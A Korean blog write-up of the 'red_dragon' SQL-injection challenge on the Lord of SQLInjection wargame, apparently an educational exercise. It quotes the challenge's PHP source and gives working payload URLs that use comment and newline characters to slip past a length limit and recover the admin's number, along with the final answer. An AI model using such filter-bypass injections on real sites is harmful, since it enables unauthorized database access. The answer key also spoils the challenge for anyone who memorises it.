반응형

문제는 다음과 같다


<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\./i'$_GET['id'])) exit("No Hack ~_~");
  if(
strlen($_GET['id']) > 7) exit("too long string");
  
$no is_numeric($_GET['no']) ? $_GET['no'] : 1;
  
$query "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['id']) echo "<h2>Hello {$result['id']}</h2>";

  
$query "select no from prob_red_dragon where id='admin'"// if you think challenge got wrong, look column name again.
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['no'] === $_GET['no']) solve("red_dragon");
  
highlight_file(__FILE__);
?>



먼저 id와 no를 파라미터로 받을 수 있는데, id의 길이가 7을 넘으면 안된다.

따라서 최대한 짧게 했을 때 다음과 같이 쓸 수 있다.

id='||id=1#


하지만 이 또한 8글자가 되어 "too long string"이 출력된다.


이유 없이 제공되는 파라미터는 없다! no 파라미터를 노려보았다.

가장 먼저 생각해본 것은 is_numeric 함수의 취약점을 이용하여 문자열을 입력해보려하였다.


그래서 아래와 같이 시도하였다.


id=%27||&no=0x277c7c2761646d696e27


여기서 no 부분은 '||'admin'를 hex로 나타낸 것으로 내가 생각한 쿼리는 아래와 같다.


select id from prob_red_dragon where id=''||' and no='||'admin'


그 결과 admin이 출력될거라 생각하였다.

하지만.. 해당 방법으로는 풀리지 않았다.

 

그러다 이전에 개행문자를 이용한 문제가 있었던 것을 기억하여 이를 이용해보고자 하였다.

 

no 부분에는 숫자만 적을 수 있다는 생각을 바탕으로 진행하여, id 부분에 필요한 것을 다 적으려고 하였다.

 

여기서 삽질을 하다 물꼬가 틀렸다.

 

query : select id from prob_red_dragon where id=''||no>#' and no= 1

 

id 부분을 '으로 막아주고 or 문자 입력 후 no 파라미터 적은 후 = 혹은 >를 적고 no 부분에는 개행문자와 함께 숫자를 적어주었다.

 

그 결과 [ id=''||no>1 ]이 되어 admin이 출력된 것을 볼 수 있다.

이를 통해 admin의 no를 획득할 수 있다.

 

https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id='||no=%23&no=%0a586482014

 

위의 결과 Hello Admin이 출력되었으므로 admin의 no는 586482014임을 알 수 있다.

답 : https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?no=586482014

반응형

'Solve Problem > LOS' 카테고리의 다른 글

[LOS] GREEN_DRAGON 문제 풀이  (0) 2019.06.09
[LOS] EVIL_WIZARD 문제 풀이  (0) 2019.06.09
[LOS] hell_fire 문제 풀이  (0) 2019.06.09
[LOS] dark_eyes 문제풀이  (0) 2019.06.02
[LOS] iron_golem 문제풀이  (0) 2019.05.26
블로그 이미지

rootable

,